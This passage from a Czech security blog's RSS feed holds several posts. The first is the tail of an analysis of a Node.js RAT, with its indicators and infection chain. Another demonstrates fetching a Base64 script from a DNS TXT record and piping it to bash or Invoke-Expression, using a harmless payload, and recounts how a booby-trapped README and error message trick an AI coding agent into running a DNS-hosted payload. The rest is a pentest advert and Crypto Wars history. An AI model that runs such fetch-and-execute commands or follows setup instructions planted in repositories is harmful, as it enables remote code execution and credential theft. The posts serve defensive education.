/*C260521A*/                        marker injektáže</code></pre>
<p>Starší markery injektáže: <code>/*C250617A*/</code>, <code>/*C250618A*/</code>, <code>/*C250619A*/</code>, <code>/*C250620A*/</code>, <code>/*C260511A*/</code>, <code>/*C260512A*/</code></p>
<p><strong>Verze a klíč</strong></p>
<pre><code>verze malwaru:        260804
XOR klíč druhé větve: YU7m{rE/&gt;|==b&gt;#~</code></pre>
<p><strong>Lokální artefakty</strong></p>
<pre><code>~/.node_modules
~/.node_module
/tmp/.&lt;base64 uživatelského jména&gt;
%LOCALAPPDATA%Temp&lt;base64 uživatelského jména&gt;</code></pre>
<p><strong>Ethereum</strong></p>
<pre><code>Tx:         0x1ee850dfe646976e3783dcd1db11282316234cf46efc62b218557e9bef2670a3
Odesílatel: 0x33ff3edaf55a8e03dcbc7cb40d498a49cd499891
RPC:        eth.drpc.org, eth-mainnet.public.blastapi.io, ethereum-rpc.publicnode.com1</code></pre>
<p><strong>Hashe</strong></p>
<pre><code>PDF s přehledem projektu:  1219c37891cede90e98b6102b4b80d485ec6d410eda3d5bb1666ca8ab57a564e
Loader v repozitáři:       ed6c0476c62bc21c981b95861677bf14eeeaba57ac071c860d0e599ecbf6156c
Primární /boot:            950a8f79e48cb6b36d731bb7adf695e2420014813d5705ce41ea8090e8b06724
Sekundární /0/boot:        62b19e0cbb110bc5d33ad4db07af9c7d1018c3951350369d6bdf2b2c1ebc2828
Dekódovaný primární:       aabf3f0cacd91e1bcb0edbd1335b40a9bfade8e7d31c98946b0b876bec69592f
Dekódovaný sekundární:     929967e719214aa6547126bb96636f15d9c230bb4f3dac2bc82578494c5f635e
Skutečná /init JSON:       574919a51df20bb3c73268a2cb2f18739d3408e29a4d6ec7dcba62fa8b5c0264
Pole _B:                   f68955621b28c1715677117b0b38e18cd8e92717ca8eadb44f47a5cc08aef4a3
Rozbalené tělo _B:         624d915598f6b48eeeaabaee19824fcecc35570c4e3a246dda5eaae97db364dd
Pole _Z:                   7ca3d571b64b815dcef80c0938ea30d48df06fcbe00d346c73849bd1b1f4abe7</code></pre>
<h3>Celý řetězec</h3>
<pre><code>falešný profil s nedoložitelnou pozicí ve velké firmě
→ nabídka práce s atraktivní sazbou
→ pozvánka do privátního GitHub repozitáře
→ frontend vygenerovaný v AI builderu jako návnada
→ zkopírovaná historie legitimního projektu jako důvěryhodnost
→ follow-up „spustil jsi to už?"
→ obfuskovaný loader přilepený na Vite a PostCSS config
→ npm run dev
→ dotaz na Ethereum JSON-RPC
→ C2 adresa odvozená z transakce
→ GET /boot a /0/boot
→ dvě obfuskované fáze přes node -e
→ GET /init
→ Node.js RAT verze 260804
→ injektáž do VS Code, Cursoru, Antigravity, Discordu, GitHub Desktopu a npm
→ Socket.IO řídicí kanál na nešifrovaném portu 443
→ schránka, shell, eval, rekurzivní nahrávání adresářů
→ exfiltrace na /u/f</code></pre>
<h3>Omezení rozboru</h3>
<p>Hlavní payload jsem rozbalil staticky, tedy bez spuštění jeho operační části. Popsané příkazy, persistence a formát exfiltrace jsou vyčtené z jeho vlastního kódu, ne pozorované za běhu. Druhou větev <code>/0/body</code> nemám, protože C2 přestal odpovídat. Tělo persistence <code>_Z</code> zůstává silně obfuskované, i když jeho role a způsob vkládání jsou z hlavního payloadu prokazatelné. Oběť neobsahovala žádná reálná data, peněženky ani přihlašovací údaje. Jména účtů na GitHubu, metadata commitů, jméno na LinkedIn i to, co o sobě útočník tvrdil, může být vymyšlené nebo ukradené.</p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/i-ran-malware-on-purpose-it-found-its-server-address-in-the-blockchain/">Spustil jsem malware. Adresu svého serveru si našel v blockchainu</a> appeared first on <a href="https://www.digitalnisebeobrana.cz">DIGITÁLNÍ SEBEOBRANA</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Aplikace funguje. Stačí to?</title>
		<link>https://www.digitalnisebeobrana.cz/the-application-works-is-that-enough/</link>
		
		<dc:creator><![CDATA[Milan]]></dc:creator>
		<pubDate>Sat, 25 Jul 2026 12:17:24 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[AI]]></category>
		<category><![CDATA[nástroje]]></category>
		<category><![CDATA[Promptpunk]]></category>
		<category><![CDATA[sysadmin]]></category>
		<category><![CDATA[nástroj]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[prevence]]></category>
		<category><![CDATA[test]]></category>
		<category><![CDATA[vibe-coding]]></category>
		<category><![CDATA[zranitelnost]]></category>
		<guid isPermaLink="false">https://www.digitalnisebeobrana.cz/?p=7125</guid>

					<description><![CDATA[<p>Funkční předání webové aplikace ještě neznamená, že správně chrání účty, role a data. Kdy stačí bezpečnostní kontrola a kdy už pentest?</p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/the-application-works-is-that-enough/">Aplikace funguje. Stačí to?</a> appeared first on <a href="https://www.digitalnisebeobrana.cz">DIGITÁLNÍ SEBEOBRANA</a>.</p>
]]></description>
										<content:encoded><![CDATA[<h2>Jedno číslo</h2>
<p>Zákazník se přihlásí do nového portálu a otevře si svou fakturu.</p>
<p>V adrese stránky si všimne čísla dokumentu. Zkusí ho změnit.</p>
<p>A aplikace mu zobrazí fakturu jiného zákazníka.</p>
<p>Neprolomil heslo. Neobešel přihlášení. Nepoužil žádný speciální nástroj.</p>
<p>Jen změnil jedno číslo.</p>
<p>Přihlášení přitom funguje. Faktury se správně načítají. Běžný test aplikace prošel.</p>
<p>Aplikace ověřila, že je uživatel přihlášený. Už ale neověřila, jestli smí zobrazit právě tento dokument.</p>
<p>Funkce fungovala.</p>
<p>Jen ne bezpečně.</p>
<h2>Prošlo to předáním</h2>
<p>Při předání aplikace se obvykle kontroluje očekávaný postup.</p>
<p>Uživatel se přihlásí, vyplní formulář, odešle objednávku nebo stáhne dokument. Administrátor upraví záznam. Data se uloží a potřebné informace se předají dál.</p>
<p>Taková kontrola odpovídá na důležitou otázku:</p>
<blockquote>
<p>Dělá aplikace to, co jsme si objednali?</p>
</blockquote>
<p>Neodpovídá ale automaticky na jinou:</p>
<blockquote>
<p>Co aplikace dovolí člověku, který ji použije jinak, než se očekává?</p>
</blockquote>
<p>Může běžný uživatel otevřít dokument někoho jiného? Dostane se k funkci určené správci? Uvidí informace, které mu nepatří? Dokáže přeskočit část procesu?</p>
<p>Bezpečnostní chyba se přitom nemusí projevit pádem aplikace nebo chybovou hláškou.</p>
<p>Naopak. Aplikace požadavek bez problému provede.</p>
<p>Jen pro nesprávného uživatele nebo nad cizími daty.</p>
<blockquote>
<p><strong>Přebíráte nebo spouštíte webovou aplikaci?</strong></p>
<p>Pošlete stručný popis aplikace, typů uživatelů a plánovaného termínu předání. Řeknu vám, jestli odpovídá <a href="https://www.digitalnisebeobrana.cz/bezpecnostni-kontrola-webove-aplikace/">Bezpečnostní kontrole webové aplikace</a>, nebo potřebuje <a href="https://www.digitalnisebeobrana.cz/penetracni-test-na-miru/">Penetrační test na míru</a>.</p>
<p><a href="https://www.digitalnisebeobrana.cz/kontakt/"><strong>Poslat stručný popis aplikace</strong></a></p>
</blockquote>
<h2>Když vývoj zrychlí</h2>
<p>AI nástroje dokážou vývoj webových aplikací výrazně urychlit.</p>
<p>Pomohou vytvořit přihlášení, administraci, formuláře, uploady, exporty nebo propojení s dalšími systémy. Funkční verze tak může vzniknout velmi rychle.</p>
<p>To samo o sobě není problém.</p>
<p>Problém nastává, když se rychlost vývoje zamění za ověření výsledku.</p>
<p>Každá nová funkce totiž přináší rozhodnutí, která musí aplikace dělat správně:</p>
<ul>
<li>Kdo smí tuto stránku otevřít?</li>
<li>Komu patří tento dokument?</li>
<li>Kdo může záznam změnit?</li>
<li>Co smí běžný uživatel a co správce?</li>
<li>Jaká data může aplikace zobrazit?</li>
</ul>
<p>AI může funkci vytvořit. Pořád je ale potřeba ověřit, koho přes ni aplikace pustí dovnitř a k čemu mu umožní přístup.</p>
<p>To platí i pro běžný vývoj. U aplikací vytvořených nebo výrazně urychlených pomocí AI je ale snadné bezpečnostní kontrolu přeskočit, protože funkční výsledek vypadá hotově velmi brzy.</p>
<h2>Jiný pohled</h2>
<p>Bezpečnostní nález automaticky neznamená, že dodavatel nebo vývojář odvedl špatnou práci.</p>
<p>Vývojový tým musí dodat domluvené funkce, propojit jednotlivé části, opravit chyby a zajistit, aby aplikace fungovala jako celek.</p>
<p>Bezpečnost má být součástí kvalitního vývoje. Nezávislá kontrola má ale jiný účel.</p>
<p>Vývojář se například ptá:</p>
<blockquote>
<p>Dokáže zákazník zobrazit svou fakturu?</p>
</blockquote>
<p>Bezpečnostní kontrola přidává druhou otázku:</p>
<blockquote>
<p>Dokáže zobrazit také fakturu někoho jiného?</p>
</blockquote>
<p>Nezkouší jen očekávané použití. Prověřuje také změny identifikátorů, obcházení rolí, přístup k cizím datům a další situace, se kterými běžný předávací scénář nemusí počítat.</p>
<p>Vývojové testování a nezávislá bezpečnostní kontrola si nekonkurují.</p>
<p>Každé odpovídá na jinou otázku.</p>
<h2>Dokud je čas</h2>
<p>Nejlepší chvíle pro nezávislou kontrolu je před finálním převzetím, spuštěním nebo doplacením projektu.</p>
<p>Dodavatel má aplikaci stále v kontextu. Vývojový tým je dostupný. Dokumentace a testovací prostředí jsou po ruce.</p>
<p>Nalezené problémy lze řešit během aktivní spolupráce, ne až ve chvíli, kdy aplikaci používají zákazníci a původní tým už pracuje na jiném projektu.</p>
<p>Firma navíc získá podklad pro rozhodnutí:</p>
<ul>
<li>co je potřeba opravit před spuštěním;</li>
<li>co má největší praktický dopad;</li>
<li>co lze řešit později;</li>
<li>zda stačí omezená bezpečnostní kontrola;</li>
<li>nebo zda projekt potřebuje širší penetrační test.</li>
</ul>
<p>Kontrola má smysl i u aplikace, která už běží. Předání je ale přirozený okamžik, kdy firma přebírá odpovědnost za systém, jeho uživatele a data.</p>
<p>Je lepší vědět, co skutečně přebírá.</p>
<h2>Ne razítko</h2>
<p>Smyslem bezpečnostní kontroly není vydat potvrzení, že je aplikace jednou provždy bezpečná.</p>
<p>Takovou záruku poctivě dát nelze. Každý test probíhá v konkrétním čase a v předem domluveném rozsahu.</p>
<p>Výsledkem ale nemá být ani automatický výpis technických zkratek bez vysvětlení.</p>
<p>Klient potřebuje vědět:</p>
<ul>
<li>co bylo nalezeno;</li>
<li>jaký může mít problém dopad;</li>
<li>jak je závažný;</li>
<li>jak ho může vývojář ověřit;</li>
<li>co má opravit jako první.</li>
</ul>
<p>Výstupem má být prioritizovaný report a konkrétní doporučení k nápravě.</p>
<p>Ne obecné varování. Podklad pro opravy a další rozhodování.</p>
<h2>Kontrola, nebo pentest?</h2>
<p>Pro jednu menší webovou aplikaci může být vhodná <a href="https://www.digitalnisebeobrana.cz/bezpecnostni-kontrola-webove-aplikace/"><strong>Bezpečnostní kontrola webové aplikace</strong></a>.</p>
<p>Má předem omezený rozsah a zaměřuje se na nejdůležitější části aplikace: přihlášení, uživatelské role, oprávnění, hlavní procesy, práci s neveřejnými daty, formuláře, uploady a API.</p>
<p>Výstupem je prioritizovaný report, doporučení k nápravě a závěrečná konzultace.</p>
<p>Cena je <strong>35 000 Kč za předem omezený rozsah</strong>.</p>
<p>U větší nebo citlivější aplikace dává větší smysl <a href="https://www.digitalnisebeobrana.cz/penetracni-test-na-miru/"><strong>Penetrační test na míru</strong></a>. Typicky jde o systémy s více uživatelskými rolemi, několika prostředími, rozsáhlejším API, větším počtem integrací nebo konkrétními rizikovými scénáři.</p>
<p>Také pentest má jasně domluvený rozsah. Ten se stanoví individuálně podle aplikace, cíle testu a požadované hloubky.</p>
<p>Cena se určí po krátkém scopu.</p>
<h2>Před podpisem</h2>
<p>Funkční předání potvrzuje, že aplikace dělá to, co bylo objednané.</p>
<p>Neříká ale automaticky, kdo se přes její funkce dostane k jakým účtům, dokumentům a datům.</p>
<p>AI může vývoj výrazně urychlit. Nezávislou kontrolu výsledku ale nenahradí.</p>
<p>Před finálním převzetím proto dává smysl položit ještě jednu otázku:</p>
<blockquote>
<p>Zkoušel někdo aplikaci použít také jinak než podle návodu?</p>
</blockquote>
<p>Pošlete stručný popis aplikace, typů uživatelů, prostředí a plánovaného termínu předání.</p>
<p>Podle rozsahu doporučím <a href="https://www.digitalnisebeobrana.cz/bezpecnostni-kontrola-webove-aplikace/">Bezpečnostní kontrolu webové aplikace</a>, nebo <a href="https://www.digitalnisebeobrana.cz/penetracni-test-na-miru/">Penetrační test na míru</a>. Pokud ani jedna varianta nebude pro projekt dávat smysl, řeknu to.</p>
<p><a href="https://www.digitalnisebeobrana.cz/kontakt/"><strong>Poslat stručný popis aplikace</strong></a></p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/the-application-works-is-that-enough/">Aplikace funguje. Stačí to?</a> appeared first on <a href="https://www.digitalnisebeobrana.cz">DIGITÁLNÍ SEBEOBRANA</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Kód schovaný v DNS: když AI agent poslušně otevře dveře</title>
		<link>https://www.digitalnisebeobrana.cz/code-hidden-in-dns-when-an-ai-agent-opens-the-door/</link>
		
		<dc:creator><![CDATA[Milan]]></dc:creator>
		<pubDate>Thu, 02 Jul 2026 10:33:23 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[AI]]></category>
		<category><![CDATA[hacky]]></category>
		<category><![CDATA[nástroje]]></category>
		<category><![CDATA[Promptpunk]]></category>
		<category><![CDATA[Techniky hackerů]]></category>
		<category><![CDATA[agent]]></category>
		<category><![CDATA[hackeři]]></category>
		<category><![CDATA[vibe-coding]]></category>
		<guid isPermaLink="false">https://www.digitalnisebeobrana.cz/?p=5102</guid>

					<description><![CDATA[<p>Kód nemusí být schovaný přímo v repozitáři. Může se načíst až za běhu třeba z DNS TXT záznamu. Ukázka na neškodném payloadu vysvětluje, proč je to problém hlavně u AI agentů, kteří ochotně spouštějí setup příkazy.</p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/code-hidden-in-dns-when-an-ai-agent-opens-the-door/">Kód schovaný v DNS: když AI agent poslušně otevře dveře</a> appeared first on <a href="https://www.digitalnisebeobrana.cz">DIGITÁLNÍ SEBEOBRANA</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Vkládání škodlivých instrukcí AI agentům je poměrně nová disciplína. Samotné techniky, které se při tom používají, ale nové být nemusí.</p>
<p>Jednou z nich je schování kódu do DNS záznamů. Konkrétně do TXT záznamu, který je určený k ukládání textových dat. TXT záznamy se běžně používají například k ověření toho, že máte kontrolu nad doménou, nebo pro nastavení SPF, DKIM a DMARC u e-mailu. Technicky v nich ale může být uložený v podstatě jakýkoliv text.</p>
<p>A když může být v DNS záznamu obyčejný text, může tam být i příkaz.</p>
<p>Třeba příkaz, který se po načtení spustí v shellu. V neškodné podobě jen vypíše zprávu, vytvoří soubor nebo zobrazí ASCII art. Ve škodlivé podobě může útočníkovi otevřít vzdálený přístup k počítači.</p>
<p>Důležitý detail: škodlivý kód v takovém případě nemusí být vůbec uložený v repozitáři. Statický scanner kódu, kontrola commitů ani rychlá lidská review ho nemusí vidět, protože v repozitáři je jen skript, který „načte konfiguraci z DNS“. Samotný payload se objeví až ve chvíli, kdy se DNS záznam přečte a jeho obsah se spustí.</p>
<h2>Ukázka</h2>
<p>Tuhle techniku si můžete vyzkoušet i bez jakéhokoli škodlivého payloadu.</p>
<p>Následující příklad nic nestahuje, nikam se nepřipojuje a pouze vytvoří soubor <code>ds.txt</code> s jednoduchým ASCII artem:</p>
<pre><code> /_/
( o.o )
 &gt; ^ &lt;
DNS TXT says meow.</code></pre>
<p>Pointa není v tom, co přesně skript dělá. Pointa je v tom, že kód není v souboru na disku, ale v DNS TXT záznamu.</p>
<h2>Linux a macOS</h2>
<p>Pro Linux a macOS může být v DNS třeba tento TXT záznam:</p>
<pre><code>txt-demo-sh.digitalnisebeobrana.cz TXT "Y2F0ID4gZHMudHh0IDw8J0VPRicKIC9cXy9cCiggby5vICkKID4gXiA8CkROUyBUWFQgc2F5cyBtZW93LgpFT0YKY2F0IGRzLnR4dAo="</code></pre>
<h3>1. Jen zobrazit skript</h3>
<p>Tímhle příkazem si zobrazíte, jaký skript je v DNS TXT záznamu uložený:</p>
<pre><code>dig +short TXT txt-demo-sh.digitalnisebeobrana.cz | tr -d '"' | base64 -d</code></pre>
<p>Výstup:</p>
<pre><code>cat &gt; ds.txt &lt;&lt;'EOF'
 /_/
( o.o )
 &gt; ^ &lt;
DNS TXT says meow.
EOF
cat ds.txt</code></pre>
<h3>2. Vyzkoušet spuštění</h3>
<p>Tímhle příkazem se stejný obsah z DNS dekóduje a rovnou spustí:</p>
<pre><code>dig +short TXT txt-demo-sh.digitalnisebeobrana.cz | tr -d '"' | base64 -d | bash</code></pre>
<p>Výsledek: v aktuálním adresáři vznikne soubor <code>ds.txt</code> a jeho obsah se vypíše do terminálu.</p>
<p>Mechanismus je jednoduchý:</p>
<pre><code>DNS TXT → Base64 → dekódování → bash</code></pre>
<p>V téhle ukázce se uloží jen neškodná kočka. Stejný princip ale může místo toho zapsat SSH klíč, stáhnout další skript, odeslat tokeny nebo otevřít reverse shell.</p>
<p>Problém není DNS samotné. Problém je hlavně tahle část:</p>
<pre><code>... | bash</code></pre>
<p>Tím říkáte: „Vezmi text, který přišel zvenku, a spusť ho jako program.“</p>
<h2>Windows / PowerShell</h2>
<p>Na Windows jde použít podobná ukázka přes PowerShell. TXT záznam může obsahovat Base64 zakódovaný PowerShell skript:</p>
<pre><code>txt-demo-ps.digitalnisebeobrana.cz TXT "JGFydCA9IEAnCiAvXF8vXAooIG8ubyApCiA+IF4gPApETlMgVFhUIHNheXMgbWVvdy4KJ0AKU2V0LUNvbnRlbnQgLVBhdGggLlxkcy50eHQgLVZhbHVlICRhcnQgLUVuY29kaW5nIFVURjgKR2V0LUNvbnRlbnQgLlxkcy50eHQK"</code></pre>
<h3>1. Jen zobrazit skript</h3>
<p>Tímhle příkazem si zobrazíte, jaký PowerShell skript je v DNS TXT záznamu uložený:</p>
<pre><code>$s = ((Resolve-DnsName -Type TXT txt-demo-ps.digitalnisebeobrana.cz).Strings -join '')
[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($s))</code></pre>
<p>Výstup:</p>
<pre><code>$art = @'
 /_/
( o.o )
 &gt; ^ &lt;
DNS TXT says meow.
'@
Set-Content -Path .ds.txt -Value $art -Encoding UTF8
Get-Content .ds.txt</code></pre>
<h3>2. Vyzkoušet spuštění</h3>
<p>Tímhle příkazem se stejný obsah z DNS dekóduje a rovnou spustí:</p>
<pre><code>$s = ((Resolve-DnsName -Type TXT txt-demo-ps.digitalnisebeobrana.cz).Strings -join '')
iex ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($s)))</code></pre>
<p>Výsledek: v aktuálním adresáři vznikne soubor <code>ds.txt</code> a jeho obsah se vypíše do terminálu.</p>
<p><code>iex</code> je zkratka pro <code>Invoke-Expression</code>. Jinými slovy: vezme text a spustí ho jako PowerShell kód.</p>
<p>Mechanismus je stejný jako u shellu:</p>
<pre><code>DNS TXT → Base64 → dekódování → PowerShell</code></pre>
<p>DNS TXT záznam sám o sobě nevypadá nebezpečně. Base64 sám o sobě také není malware. PowerShell sám o sobě je běžný administrační nástroj. Nebezpečné je až jejich spojení ve chvíli, kdy se obsah zvenku automaticky spustí.</p>
<h2>Co ukázal 0DIN</h2>
<p>Výzkumníci z Mozilla 0DIN popsali útok, ve kterém AI agent dostal zdánlivě jednoduchý úkol: zprovoznit stažený repozitář.</p>
<p>Repozitář sám o sobě nemusel obsahovat zjevný malware. README nabízelo běžný first-time setup:</p>
<pre><code>pip3 install -r requirements.txt
python3 -m axiom init</code></pre>
<p>Na první pohled jsou to jen dva normální příkazy: instalace závislostí a inicializace projektu.</p>
<p>V původním popisu útoku se ale mluví o třech částech. To neznamená, že uživatel nebo AI agent musí ručně provést tři samostatné příkazy. Jde spíš o tři navazující vrstvy útoku:</p>
<ol>
<li>důvěryhodně vypadající repozitář,</li>
<li>inicializační rutina, která působí jako běžná součást setupu,</li>
<li>setup skript, který si za běhu načte skutečný payload z DNS TXT záznamu a spustí ho.</li>
</ol>
<p>Příkaz:</p>
<pre><code>python3 -m axiom init</code></pre>
<p>uvnitř spustí další setup skript. Ten se podívá do DNS, přečte TXT záznam, dekóduje jeho obsah a předá ho shellu.</p>
<p>Chybová hláška typu:</p>
<pre><code>Axiom not initialised. Run: python3 -m axiom init</code></pre>
<p>je v tomhle řetězci spíš pojistka. Pokud agent README neposlechne a pokusí se balíček použít bez inicializace, balíček mu stejný příkaz doporučí znovu jako běžnou opravu.</p>
<p>Takže existují dvě cesty ke stejnému výsledku.</p>
<p>Agent může poslechnout README:</p>
<pre><code>pip install → init → DNS TXT → spuštění payloadu</code></pre>
<p>Nebo README přeskočí, narazí na chybu a pak se „opraví“:</p>
<pre><code>pip install → chyba → doporučený init → DNS TXT → spuštění payloadu</code></pre>
<p>V obou případech je cíl stejný. Dostat agenta k tomu, aby spustil inicializační příkaz, který vypadá normálně, ale ve skutečnosti otevře cestu k externímu payloadu.</p>
<p>To je na tom nejnepříjemnější. Každý krok samostatně může vypadat nevinně. Problém vznikne až jejich složením.</p>
<h2>Proč je to problém právě u AI agentů</h2>
<p>U člověka je alespoň nějaká šance, že se u příkazu typu:</p>
<pre><code>dig ... | base64 -d | bash</code></pre>
<p>zastaví a řekne si: počkat, proč spouštím něco z DNS?</p>
<p>AI agent ale často pracuje jinak. Dostane cíl, například „zprovozni projekt“, a začne řešit překážky. Když něco nefunguje, přečte si README, error message, issue nebo nápovědu v terminálu a pokusí se pokračovat.</p>
<p>To je přesně jeho síla. A zároveň slabina.</p>
<p>Agent nemusí být „hacknutý“ v dramatickém slova smyslu. Stačí, že je příliš ochotný. Spustí doporučený příkaz, protože odpovídá jeho úkolu. A pokud má přístup k shellu, síti a vašemu pracovnímu adresáři, může být škoda velmi praktická:</p>
<ul>
<li>únik API tokenů,</li>
<li>únik SSH klíčů,</li>
<li>přístup k privátním repozitářům,</li>
<li>čtení konfiguračních souborů,</li>
<li>přístup k cloudovým credentials,</li>
<li>spuštění dalšího kódu,</li>
<li>otevření reverse shellu.</li>
</ul>
<p>Jinými slovy: nejde jen o „AI bezpečnost“. Je to klasická bezpečnost vývojářského prostředí, jen zrychlená a zesílená AI agentem.</p>
<h2>Zabrání tomu antivirus nebo firewall?</h2>
<p>Nespoléhal bych na to.</p>
<p>Běžná kontrola repozitáře nemusí nic podezřelého najít, protože skutečný payload není v repozitáři. Je až v DNS.</p>
<p>Antivirus se také nemusí chytit, pokud vidí jen běžné nástroje: Python, shell, <code>dig</code>, PowerShell, DNS dotaz. A firewall často DNS provoz povoluje, protože bez DNS se běžná práce na internetu rychle rozbije.</p>
<p>To neznamená, že obrana neexistuje. Dobré EDR, monitoring procesů, blokování podezřelých child procesů, omezení odchozí komunikace nebo detekce podezřelých řetězců typu <code>base64 | bash</code> a <code>Invoke-Expression</code> pomoct mohou.</p>
<p>Jen není dobrý nápad spoléhat na to jako na jedinou ochranu.</p>
<h2>Jak se tomu bránit</h2>
<p>Základní pravidlo je jednoduché: neznámý repozitář je neznámý kód. A to platí i ve chvíli, kdy ho otevírá AI agent.</p>
<p>Prakticky to znamená:</p>
<ul>
<li>Nespouštět setup skripty z neznámých projektů naslepo.</li>
<li>Nepovažovat doporučení AI agenta za bezpečnostní kontrolu.</li>
<li>Dávat pozor na konstrukce typu <code>curl | bash</code>, <code>wget | bash</code>, <code>dig | bash</code>, <code>base64 -d | bash</code>, <code>bash -c "$něco"</code> nebo PowerShell <code>Invoke-Expression</code>.</li>
<li>Kontrolovat nejen příkaz, který se spouští, ale i to, co si tento příkaz načítá za běhu.</li>
<li>Spouštět cizí projekty v izolovaném prostředí: kontejner, VM, throwaway uživatel, devcontainer nebo sandbox.</li>
<li>Nedávat AI agentovi zbytečně široká oprávnění.</li>
<li>Nenechávat v prostředí dostupné produkční tokeny, SSH klíče, cloudové credentials a jiné dlouhodobé secrety.</li>
<li>Omezit odchozí síťový provoz z vývojového prostředí tam, kde to dává smysl.</li>
<li>U AI coding agentů vypnout nebo výrazně omezit automatické schvalování shell příkazů.</li>
<li>Brát README, chybové hlášky, issues a dokumentaci v cizím repozitáři jako nedůvěryhodný vstup, ne jako autoritativní instrukce.</li>
</ul>
<p>Dobrá kontrolní otázka zní:</p>
<blockquote>
<p>Vidím opravdu celý kód, který se po spuštění provede?</p>
</blockquote>
<p>Pokud příkaz něco stahuje, čte z DNS, skládá z proměnných, dekóduje z Base64 nebo posílá do shellu, odpověď je často: ne, nevidím.</p>
<p>A v takové chvíli už nejde o „jenom setup“.</p>
<p>Jde o vzdálené spuštění kódu s právy uživatele, který má často na svém počítači mnohem víc citlivých věcí, než si připouští.</p>
<h2>Shrnutí</h2>
<p>DNS TXT záznamy nejsou nebezpečné samy o sobě. Base64 není nebezpečné samo o sobě. AI agenti také nejsou nebezpeční sami o sobě.</p>
<p>Nebezpečné je, když se tyto věci spojí:</p>
<pre><code>důvěryhodně vypadající projekt
+ ochotný AI agent
+ shell s příliš širokými právy
+ externě načtený payload
= problém</code></pre>
<p>A proto je dobré si občas připomenout staré pravidlo v nové podobě:</p>
<blockquote>
<p>Nekopírujte náhodné příkazy z internetu do terminálu.<br />
  A nenechávejte to dělat ani svého AI agenta.</p>
</blockquote>
<h2>Zdroje</h2>
<ul>
<li><a href="https://0din.ai/blog/clone-this-repo-and-i-own-your-machine">Mozilla 0DIN: Clone This Repo and I Own Your Machine</a></li>
<li><a href="https://datatracker.ietf.org/doc/html/rfc1464">RFC 1464: Using the Domain Name System To Store Arbitrary String Attributes</a></li>
<li><a href="https://www.ietf.org/rfc/rfc1035.txt">RFC 1035: Domain Names &#8211; Implementation and Specification</a></li>
<li><a href="https://learn.microsoft.com/en-us/powershell/module/dnsclient/resolve-dnsname">Microsoft Learn: Resolve-DnsName</a></li>
<li><a href="https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_powershell_exe">Microsoft Learn: about_PowerShell_exe</a></li>
</ul>
<p>The post <a href="https://www.digitalnisebeobrana.cz/code-hidden-in-dns-when-an-ai-agent-opens-the-door/">Kód schovaný v DNS: když AI agent poslušně otevře dveře</a> appeared first on <a href="https://www.digitalnisebeobrana.cz">DIGITÁLNÍ SEBEOBRANA</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Crypto Wars &#8211; může vláda zakázat matematiku?</title>
		<link>https://www.digitalnisebeobrana.cz/cryptowars-muze-vlada-zakazat-matematiku/</link>
		
		<dc:creator><![CDATA[Milan]]></dc:creator>
		<pubDate>Tue, 16 Jun 2026 08:48:43 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[historie]]></category>
		<category><![CDATA[Crypto Wars]]></category>
		<category><![CDATA[cryptoanarchy]]></category>
		<category><![CDATA[cypherpunks]]></category>
		<category><![CDATA[history]]></category>
		<category><![CDATA[pgp]]></category>
		<guid isPermaLink="false">https://www.digitalnisebeobrana.cz/?p=3112</guid>

					<description><![CDATA[<p>Když se stát pokusil regulovat šifrování jako zbraň.</p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/cryptowars-muze-vlada-zakazat-matematiku/">Crypto Wars &#8211; může vláda zakázat matematiku?</a> appeared first on <a href="https://www.digitalnisebeobrana.cz">DIGITÁLNÍ SEBEOBRANA</a>.</p>
]]></description>
										<content:encoded><![CDATA[<h2>Předehra</h2>
<p>V roce 1977 americký NBS, dnešní NIST, standardizoval DES jako federální standard pro ochranu dat v nevojenských federálních počítačových systémech. Později se DES rozšířil i do soukromého sektoru. Standard popisoval 56bitovou proměnnou část klíče, která byla i na tehdejší poměry kratší (slabší) než by bylo ideální pro bezpečnost.<br />
A protože výběru standardu se tehdy účastnila i NSA, nebylo úplně od věci podezření, že takto krátký klíč je vybrán záměrně, aby měly vládní agentury možnost šifru prolomit a dostat se k datům občanů a firem.<br />
Diffie a Hellman už v roce 1977 tvrdili, že speciální stroj za cca 20 milionů dolarů by DES klíč našel zhruba za den &#8211; tedy něco, co by pro agenturu typu NSA bylo realistické. Pro srovnání &#8211; dnes by prolomení šifry s grafickou kartou RTX 3070 trvalo přibližně 100 dní.</p>
<p>Tady se poprvé silně objevuje otázka: má být civilní šifrování dost silné i proti státu, nebo jen proti běžným útočníkům?</p>
<p>Na říjen 1977 IEEE pořádala na Cornell University konference <strong>International Symposium on Information Theory</strong>, kde měli vystupovat Martin Hellman, Stephen Pohlig, Ralph Merkle a další s pracemi o moderní kryptografii. Právník Joseph Meyer posílá IEEE dopis naznačující, že publikace kryptografických prací může narážet na exportní zákony, konkrétně ITAR &#8211; pravidla pro kontrolu vývozu vojenských a obranných technologií, služeb a technických dat. Prostě zákaz vývozu zbraní. Později se ukázalo, že Meyer pracuje pro NSA.<br />
IEEE konferenci nezruší &#8211; akademická kryptografie se odmítla vrátit do režimu tichého předběžného schvalování státem.<br />
Byl to raný pokus vyvolat strach v akademické komunitě. Nešlo sice ještě o soud, ale byl to signál: <strong>stát může považovat kryptografický výzkum za kontrolovanou technologii</strong>.</p>
<h2><del datetime="2026-06-16T05:23:44+00:00">Vesmírná</del> Prezidentská direktiva NSDD-145</h2>
<p>V polovině 80. let přišlo Reaganově administrativě jako dobrý nápad centralizovat bezpečnost citlivých federálních informačních systémů pod režim, ve kterém měla hlavní slovo NSA (direktiva NSDD-145). Což znamenalo, že i oblast civilní počítačové bezpečnosti by se dostala pod výrazně větší vliv zpravodajců. Mimochodem, toto se příznačně děje v roce 1984.<br />
To ale vyvolalo odpor Kongresu, civilních institucí i části soukromého sektoru, protože NSA je vojenská/zpravodajská agentura, ne civilní standardizační orgán.</p>
